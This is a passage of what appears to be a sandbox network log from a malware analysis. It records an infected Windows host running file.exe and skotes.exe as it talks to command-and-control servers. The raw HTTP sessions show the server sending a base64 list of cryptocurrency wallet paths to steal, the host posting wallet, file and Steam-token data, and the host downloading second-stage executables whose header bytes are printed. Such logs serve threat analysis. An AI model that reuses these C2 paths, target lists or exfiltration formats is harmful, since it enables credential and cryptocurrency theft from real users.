------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="message"wallets------IEGCBAAFHDHDHJKEGCFC--
Nov 24, 2024 00:06:58.765572071 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 00:06:58.978950977 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"files------CBFIJEGIDBGIECAKKEGD--
Nov 24, 2024 00:06:59.442354918 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:06:59.459074974 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file"------IJDHDGDAAAAKFIDGHJDG--
Nov 24, 2024 00:07:00.416157961 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 00:07:00.443697929 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"ybncbhylepme------CAAEBKEGHJKEBFHJDBFC--
Nov 24, 2024 00:07:00.905855894 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49950	185.215.113.16	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:07:01.031547070 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 24, 2024 00:07:02.407721996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 23:07:02 GMT Content-Type: application/octet-stream Content-Length: 1905664 Last-Modified: Sat, 23 Nov 2024 22:51:41 GMT Connection: keep-alive ETag: "67425c7d-1d1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPK@K@WkD7KL7K @.rsrcD@.idata @ *@wiflwrzy@1@kkxseilb@K@.taggant0PK"@
Nov 24, 2024 00:07:02.407741070 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:07:02.407912016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:07:02.407968998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:07:02.407982111 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:07:02.408375025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:07:02.408427000 CET	1236	IN	Data Raw: 6f a8 a0 c9 68 ba 55 28 f1 1f 8a d2 6e 83 7e ff a9 ff 8a 26 7e 0c a6 ca 3e 3d c1 19 33 eb 64 64 7d 8f 5a e8 65 3b e8 16 7f f3 84 e8 e9 53 6a e7 ba 0d 55 17 a7 e3 99 3e 48 4f b9 40 ef ff 42 a8 db 1f 9b 02 67 7f 84 ec 29 53 8a a6 6f 8c 0f b8 37 cf Data Ascii: ohU(n~&~>=3dd}Ze;SjU>HO@Bg)So7@#]&iSf~L@3JW9<(FbV]h#H?gM0n]yhU.O(5[SVS_kgy]Flh;n[ggL~@_~/vW%Xlu->
Nov 24, 2024 00:07:02.408440113 CET	248	IN	Data Raw: 4c 5b 3b ab b4 97 99 da a2 a7 33 96 a5 c8 91 96 a0 d1 8f 4a 62 af 8e 06 01 98 11 9e cc e1 57 bd c7 0a 4c f7 12 d6 06 eb ab 39 44 78 cb c7 3b 98 63 be 65 27 eb ae a6 45 73 11 44 07 51 44 bd 2f 5f c7 40 58 df fd 20 32 ae 26 73 fe 3a ef de 45 5e b2 Data Ascii: L[;3JbWL9Dx;ce'EsDQD/_@X 2&s:E^"; {Vlnhv6?U %-m5<K}0A6zq[uMF%L>bpV<~S(.1`;`.! :H`uI7^!<M3V
Nov 24, 2024 00:07:02.408869028 CET	1236	IN	Data Raw: 5c cc a0 e8 93 17 02 ab 5d dd 88 62 cb 52 40 93 62 5b d0 fa 75 5c 19 d7 1d 4f 01 a6 68 3c 0b 5a 12 c2 2d dc 8d cf 59 cc 1a d7 99 45 66 c7 33 84 3f e0 49 ed 38 d3 42 e2 72 ee 83 c1 5e f0 c8 92 77 1d 55 4e 4b 5f 94 8f f7 51 84 1b c5 8f 2b a3 6e 8b Data Ascii: \]bR@b[u\Oh<Z-YEf3?I8Br^wUNK_Q+nUh7VK:\~h\D^oC0A-HY'loK5G&;M2ixK9Cr/"CzX/#(/qZAX'kN2&)
Nov 24, 2024 00:07:02.408977032 CET	1236	IN	Data Raw: 3a d8 d0 1c 55 7f 3a 97 3a 49 11 86 02 1e 0b 28 cf 63 ba eb a4 c3 86 42 f0 3d 09 22 9d 69 e1 ea ca bf 81 ee 1f d7 95 0c 30 ed 87 ad bf da 74 47 c3 22 99 e4 e1 de 11 40 8f d8 3c df 11 37 f5 93 66 e1 5b 92 17 13 bb 46 68 b7 ed 4f ee 41 fc f4 d7 a6 Data Ascii: :U::I(cB="i0tG"@<7f[FhOA N#hm^V8&3T[s<aAVQSsCbI" SP8n]=)G7o5yHX5L2? :X$dB%e pVzzeD7
Nov 24, 2024 00:07:02.527327061 CET	1236	IN	Data Raw: ad 23 89 b9 be dd ac d5 71 fe dd 18 f6 8f a6 45 89 11 48 f5 2a 54 97 98 2e 0d 20 42 07 9e 00 df ef df 8a 1f 63 c4 09 7e 27 85 45 84 87 05 84 c4 93 52 67 ec df 7d 34 19 ba 14 43 e1 39 7a 28 2e 6b dc 1e 41 28 d3 ae 37 85 9c cc d5 61 b7 9d eb 52 b5 Data Ascii: #qEH*T. Bc~'ERg}4C9z(.kA(7aR!79iG&]s/2f_O@2tzB]VZRjkdJ$-\E\9`rd[c Yv$8O:\CiAO-qcoY4g+A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49968	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:07:06.222996950 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEHIJKKFHIEGCBGCAFIJ--
Nov 24, 2024 00:07:08.116787910 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50117	185.215.113.43	80	4144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:08:05.517281055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 00:08:06.940623045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 23:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50125	185.215.113.43	80	4144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:08:09.053220034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 41 32 46 37 31 42 32 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DBA2F71B25982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 00:08:10.431349993 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 23:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 35 34 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 35 34 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 34 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 35 34 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008541001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008546001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008547001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008548001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008549001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50129	31.41.244.11	80	4144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 00:08:10.555392981 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 00:08:11.981638908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 23:08:11 GMT Content-Type: application/octet-stream Content-Length: 4399616 Last-Modified: Sat, 23 Nov 2024 22:06:13 GMT Connection: keep-alive ETag: "674251d5-432200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c5 00 00 04 00 00 e2 8a 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c de c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc dd c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@ C@ _qs px'@.rsrc p'@.idata q'@ `8q'@gyefzskuppp'@spshtbymB@.taggant0"C@
Nov 24, 2024 00:08:11.981672049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:08:11.981683969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 00:08:11.981765985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
